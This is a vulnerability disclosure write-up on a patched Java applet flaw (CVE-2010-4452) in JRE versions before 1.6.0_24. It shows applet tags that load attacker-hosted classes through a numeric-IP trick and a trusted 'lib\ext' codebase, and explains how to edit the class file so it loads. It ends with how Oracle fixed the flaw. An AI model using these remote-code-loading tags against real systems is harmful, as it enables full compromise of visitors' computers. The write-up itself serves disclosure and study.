Details can be found at ZDI and CVE, and Oracle :
ZDI-11-084
CVE-2010-4452
Oracle
This vulnerability allows an untrusted applet to gain all privileges. Untrusted applets launch without user interaction (other than visiting a web page containing the <applet> tag, of course).
The vulnerability
Prior to version 1.6.0_24, the JRE allowed to load a class from an URL without checking if it matched the protocol, host, and port of the document containing the applet. This means that things like that:
<applet codebase=”http://somesite.com/” code=”http://attackersite.com/AttackerCode” />
would try to load the class located at http://attackersite.com/AttackerCode.class as if it came from the URL http://somesite.com/. The content of the “code” attribute was assumed to be a class name, no check was made, but when passing it as an argument to the URL constructor, it would be parsed as an absolute URL, as the protocol is present.
However, that is not enough to actually make the JRE download and load the file http://attackersite.com/AttackerCode.class. This is because every dot is replaced by a slash before the URL is instantiated. In our case, http://attackersite.com/AttackerCode would become http://attackersite/com/AttackerCode, and the download would fail.
This is where an old trick makes everything possible: IP addresses have a lot of possible notations. Among them, one I call the numeric notation: take the 4 bytes of the IP address, concatenate them to obtain a 4 bytes word, and convert this word to a decimal number. Example: take 192.168.0.1, or C0.A8.00.01. Convert C0A80001 to a decimal number, you get 3232235521. This notation is valid almost everywhere, including the JRE.
So, if we consider the following tag:
<applet codebase=”http://somesite.com/” code=”http://3232235521/AttackerCode” />
This time, the JRE will download the class file located at http://192.168.0.1/AttackerCode.class and load it as of it came from http://somesite.com/.
Executing arbitrary code
Unsigned applets are sandboxed and shouldn’t be able to do any harm to a computer. However, the JRE has a set of trusted classes, which are granted all permissions.
All the classes located at the “lib\ext” folder of the JRE installation folder are trusted classes. By using this folder as the codebase of an applet, the applet will be considered trusted and be granted all privileges:
<applet codebase=”file:C:\Program Files\Java\jre6\lib\ext” code=”http://3232235522/AttackerCode” />
The AttackerCode.class file needs to be modified for the JVM to accept to load it: the “code” attribute of the applet tag is supposed to be the class name. If the class name doesn’t match it, the JVM will refuse to load the class. The easiest way to fix that is to make the applet name length match the length of the “code” attribute, and then to edit the class file with an hexadecimal editor. The name is very easy to spot, it’s near the beginning of the file. Once it’s changed to http://3232235522/AttackerCode, the JVM will load the class. The new name isn’t valid to the java compiler, but the JVM doesn’t care.
Also, no http server will accept an all numeric string as a valid host. Even though, this vulnerability remains easy to exploit, and is very reliable.
How Oracle fixed it
Oracle fixed it in Java 1.6.0_24 by checking early in the process of loading an applet if the code attribute has the same protocol, host, and port as the codebase attribute. And, just in case, they added the same check to Applet2ClassLoader, even though the URL mismatch will be detected earlier.
Java 1.6.0_24 fixes a lot of other security vulnerabilities. Sami Koivu details ZDI-11-083 on his blog.